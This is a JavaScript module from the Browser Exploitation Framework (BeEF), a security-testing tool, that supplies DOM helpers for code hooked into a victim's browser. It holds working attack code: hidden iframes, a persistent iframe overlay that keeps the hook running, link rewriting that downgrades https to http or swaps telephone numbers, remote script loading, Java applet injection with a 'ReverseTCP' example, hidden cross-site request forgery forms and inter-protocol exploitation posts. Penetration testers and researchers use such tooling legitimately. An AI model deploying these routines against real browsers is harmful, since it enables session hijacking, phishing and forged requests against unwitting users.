//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56/**7* Provides functionality to manipulate the DOM.8* @namespace beef.dom9*/10beef.dom = {1112/**13* Generates a random ID for HTML elements14* @param {String} prefix a custom prefix before the random id. defaults to "beef-"15* @return {String} generated id16*/17generateID: function(prefix) {18return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);19},2021/**22* Creates a new element but does not append it to the DOM.23* @param {String} type the name of the element.24* @param {Array} attributes the attributes of that element.25* @return {Array} the created element.26*/27createElement: function(type, attributes) {28var el = document.createElement(type);2930for(index in attributes) {31if(typeof attributes[index] == 'string') {32el.setAttribute(index, attributes[index]);33}34}3536return el;37},3839/**40* Removes element from the DOM.41* @param {Object} el the target element to be removed.42*/43removeElement: function(el) {44if (!beef.dom.isDOMElement(el))45{46el = document.getElementById(el);47}48try {49el.parentNode.removeChild(el);50} catch (e) { }51},5253/**54* Tests if the object is a DOM element.55* @param {Object} the DOM element.56* @return {boolean} true if the object is a DOM element.57*/58isDOMElement: function(obj) {59return (obj.nodeType) ? true : false;60},6162/**63* Creates an invisible iframe on the hook browser's page.64* @return {array} the iframe.65*/66createInvisibleIframe: function() {67var iframe = this.createElement('iframe', {68width: '1px',69height: '1px',70style: 'visibility:hidden;'71});7273document.body.appendChild(iframe);7475return iframe;76},7778/**79* Returns the highest current z-index80* @param {Boolean} whether to return an associative array with the height AND the ID of the element81* @return {Integer} Highest z-index in the DOM82* OR83* @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}84*/85getHighestZindex: function(include_id) {86var highest = {'height':0, 'elem':''};87$j('*').each(function() {88var current_high = parseInt($j(this).css("zIndex"),10);89if (current_high > highest.height) {90highest.height = current_high;91highest.elem = $j(this).attr('id');92}93});9495if (include_id) {96return highest;97} else {98return highest.height;99}100},101102/**103* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter104* is assigned to created iframe tag's src attribute resulting in GET request to that URI.105* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);106* @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal107* @param {Hash} params: list of params that will be sent in request.108* @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter109* @param {Function} a callback function to fire once the iFrame has loaded110* @return {Object} the inserted iFrame111*112*/113createIframe: function(type, params, styles, onload) {114var css = {};115116if (type == 'hidden') {117css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);118} else if (type == 'fullscreen') {119css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);120$j('body').css({'padding':'0px', 'margin':'0px'});121} else {122css = styles;123$j('body').css({'padding':'0px', 'margin':'0px'});124}125var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');126127return iframe;128},129130/**131* Load the link (href value) in an overlay foreground iFrame.132* The BeEF hook continues to run in background.133* NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses134* Framebusting techniques, this will not work.135*/136persistentIframe: function(){137$j('a').click(function(e) {138if ($j(this).attr('href') != '')139{140e.preventDefault();141beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);142$j(document).attr('title', $j(this).html());143document.body.scroll = "no";144document.documentElement.style.overflow = 'hidden';145}146});147},148149/**150* Load a full screen div that is black, or, transparent151* @param {Boolean} vis: whether or not you want the screen dimmer enabled or not152* @param {Hash} options: a collection of options to customise how the div is configured, as follows:153* opacity:0-100 // Lower number = less grayout higher = more of a blackout154* // By default this is 70155* zindex: # // HTML elements with a higher zindex appear on top of the gray out156* // By default this will use beef.dom.getHighestZindex to always go to the top157* bgcolor: (#xxxxxx) // Standard RGB Hex color code158* // By default this is #000000159*/160grayOut: function(vis, options) {161// in any order. Pass only the properties you need to set.162var options = options || {};163var zindex = options.zindex || beef.dom.getHighestZindex()+1;164var opacity = options.opacity || 70;165var opaque = (opacity / 100);166var bgcolor = options.bgcolor || '#000000';167var dark=document.getElementById('darkenScreenObject');168if (!dark) {169// The dark layer doesn't exist, it's never been created. So we'll170// create it here and apply some basic styles.171// If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917172var tbody = document.getElementsByTagName("body")[0];173var tnode = document.createElement('div'); // Create the layer.174tnode.style.position='absolute'; // Position absolutely175tnode.style.top='0px'; // In the top176tnode.style.left='0px'; // Left corner of the page177tnode.style.overflow='hidden'; // Try to avoid making scroll bars178tnode.style.display='none'; // Start out Hidden179tnode.id='darkenScreenObject'; // Name it so we can find it later180tbody.appendChild(tnode); // Add it to the web page181dark=document.getElementById('darkenScreenObject'); // Get the object.182}183if (vis) {184// Calculate the page width and height185if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {186var pageWidth = document.body.scrollWidth+'px';187var pageHeight = document.body.scrollHeight+'px';188} else if( document.body.offsetWidth ) {189var pageWidth = document.body.offsetWidth+'px';190var pageHeight = document.body.offsetHeight+'px';191} else {192var pageWidth='100%';193var pageHeight='100%';194}195//set the shader to cover the entire page and make it visible.196dark.style.opacity=opaque;197dark.style.MozOpacity=opaque;198dark.style.filter='alpha(opacity='+opacity+')';199dark.style.zIndex=zindex;200dark.style.backgroundColor=bgcolor;201dark.style.width= pageWidth;202dark.style.height= pageHeight;203dark.style.display='block';204} else {205dark.style.display='none';206}207},208209/**210* Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,211* or, re-writing a document this is useful.212*/213removeStylesheets: function() {214$j('link[rel=stylesheet]').remove();215$j('style').remove();216},217218/**219* Create a form element with the specified parameters, appending it to the DOM if append == true220* @param {Hash} params: params to be applied to the form element221* @param {Boolean} append: automatically append the form to the body222* @return {Object} a form object223*/224createForm: function(params, append) {225var form = $j('<form></form>').attr(params);226if (append)227$j('body').append(form);228return form;229},230231loadScript: function(url) {232var s = document.createElement('script');233s.type = 'text/javascript';234s.src = url;235$j('body').append(s);236},237238/**239* Get the location of the current page.240* @return the location.241*/242getLocation: function() {243return document.location.href;244},245246/**247* Get links of the current page.248* @return array of URLs.249*/250getLinks: function() {251var linksarray = [];252var links = document.links;253for(var i = 0; i<links.length; i++) {254linksarray = linksarray.concat(links[i].href)255};256return linksarray257},258259/**260* Rewrites all links matched by selector to url, also rebinds the click method to simply return true261* @param {String} url: the url to be rewritten262* @param {String} selector: the jquery selector statement to use, defaults to all a tags.263* @return {Number} the amount of links found in the DOM and rewritten.264*/265rewriteLinks: function(url, selector) {266var sel = (selector == null) ? 'a' : selector;267return $j(sel).each(function() {268if ($j(this).attr('href') != null)269{270$j(this).attr('href', url).click(function() { return true; });271}272}).length;273},274275/**276* Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.277* http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html278* @param {String} url: the url to be rewritten279* @param {String} selector: the jquery selector statement to use, defaults to all a tags.280* @return {Number} the amount of links found in the DOM and rewritten.281*/282rewriteLinksClickEvents: function(url, selector) {283var sel = (selector == null) ? 'a' : selector;284return $j(sel).each(function() {285if ($j(this).attr('href') != null)286{287$j(this).click(function() {this.href=url});288}289}).length;290},291292/**293* Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)294* @param {String} old_protocol: the old link protocol to be rewritten295* @param {String} new_protocol: the new link protocol to be written296* @param {String} selector: the jquery selector statement to use, defaults to all a tags.297* @return {Number} the amount of links found in the DOM and rewritten.298*/299rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {300301var count = 0;302var re = new RegExp(old_protocol+"://", "gi");303var sel = (selector == null) ? 'a' : selector;304305$j(sel).each(function() {306if ($j(this).attr('href') != null) {307var url = $j(this).attr('href');308if (url.match(re)) {309$j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });310count++;311}312}313});314315return count;316},317318/**319* Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number320* @param {String} new_number: the new link telephone number to be written321* @param {String} selector: the jquery selector statement to use, defaults to all a tags.322* @return {Number} the amount of links found in the DOM and rewritten.323*/324rewriteTelLinks: function(new_number, selector) {325326var count = 0;327var re = new RegExp("tel:/?/?.*", "gi");328var sel = (selector == null) ? 'a' : selector;329330$j(sel).each(function() {331if ($j(this).attr('href') != null) {332var url = $j(this).attr('href');333if (url.match(re)) {334$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });335count++;336}337}338});339340return count;341},342343/**344* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed345* @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]346* @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).347*/348parseAppletParams: function(params){349var result = '';350for (i in params){351var param = params[i];352for(key in param){353result += "<param name='" + key + "' value='" + param[key] + "' />";354}355}356return result;357},358359/**360* Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).361* example usage in the code, using a JAR archive (recommended and faster):362* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);363* example usage in the code, using codebase:364* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);365* @param {String} id: reference identifier to the applet.366* @param {String} code: name of the class to be loaded. For example, beef.class.367* @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).368* @param {String} archive: the jar that contains the code.369* @param {String} params: an array of additional params that the applet except.370*/371attachApplet: function(id, name, code, codebase, archive, params) {372var content = null;373if (beef.browser.isIE()) {374content = "" + // the classid means 'use the latest JRE available to launch the applet'375"<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +376"height='0' width='0' name='" + name + "'> " +377"<param name='code' value='" + code + "' />";378379if (codebase != null) {380content += "<param name='codebase' value='" + codebase + "' />"381}382if (archive != null){383content += "<param name='archive' value='" + archive + "' />";384}385if (params != null) {386content += beef.dom.parseAppletParams(params);387}388content += "</object>";389}390if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {391392if (codebase != null) {393content = "" +394"<applet id='" + id + "' code='" + code + "' " +395"codebase='" + codebase + "' " +396"height='0' width='0' name='" + name + "'>";397} else {398content = "" +399"<applet id='" + id + "' code='" + code + "' " +400"archive='" + archive + "' " +401"height='0' width='0' name='" + name + "'>";402}403404if (params != null) {405content += beef.dom.parseAppletParams(params);406}407content += "</applet>";408}409// For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.410// if (beef.browser.isFF()) {411// if (codebase != null) {412// content = "" +413// "<embed id='" + id + "' code='" + code + "' " +414// "type='application/x-java-applet' codebase='" + codebase + "' " +415// "height='0' width='0' name='" + name + "'>";416// } else {417// content = "" +418// "<embed id='" + id + "' code='" + code + "' " +419// "type='application/x-java-applet' archive='" + archive + "' " +420// "height='0' width='0' name='" + name + "'>";421// }422//423// if (params != null) {424// content += beef.dom.parseAppletParams(params);425// }426// content += "</embed>";427// }428$j('body').append(content);429},430431/**432* Given an id, remove the applet from the DOM.433* @param {String} id: reference identifier to the applet.434*/435detachApplet: function(id) {436$j('#' + id + '').detach();437},438439/**440* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.441* @param {String} action: the form action attribute, where the request will be sent.442* @param {String} method: HTTP method, usually POST.443* @param {String} enctype: form encoding type444* @param {Array} inputs: an array of inputs to be added to the form (type, name, value).445* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]446*/447createIframeXsrfForm: function(action, method, enctype, inputs){448var iframeXsrf = beef.dom.createInvisibleIframe();449450var formXsrf = document.createElement('form');451formXsrf.setAttribute('action', action);452formXsrf.setAttribute('method', method);453formXsrf.setAttribute('enctype', enctype);454455var input = null;456for (i in inputs){457var attributes = inputs[i];458input = document.createElement('input');459for(key in attributes){460if (key == 'name' && attributes[key] == 'submit') {461// workaround for https://github.com/beefproject/beef/issues/1117462beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");463input.setAttribute('Submit', attributes[key]);464} else {465input.setAttribute(key, attributes[key]);466}467}468formXsrf.appendChild(input);469}470iframeXsrf.contentWindow.document.body.appendChild(formXsrf);471formXsrf.submit();472473return iframeXsrf;474},475476/**477* Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.478* @param {String} rhost: remote host ip/domain479* @param {String} rport: remote port480* @param {String} commands: protocol commands to be executed by the remote host:port service481*/482createIframeIpecForm: function(rhost, rport, path, commands){483var iframeIpec = beef.dom.createInvisibleIframe();484485var formIpec = document.createElement('form');486formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);487formIpec.setAttribute('method', 'POST');488formIpec.setAttribute('enctype', 'multipart/form-data');489490input = document.createElement('textarea');491input.setAttribute('name', Math.random().toString(36).substring(5));492input.value = commands;493formIpec.appendChild(input);494iframeIpec.contentWindow.document.body.appendChild(formIpec);495formIpec.submit();496497return iframeIpec;498}499500};501502beef.regCmp('beef.dom');503504505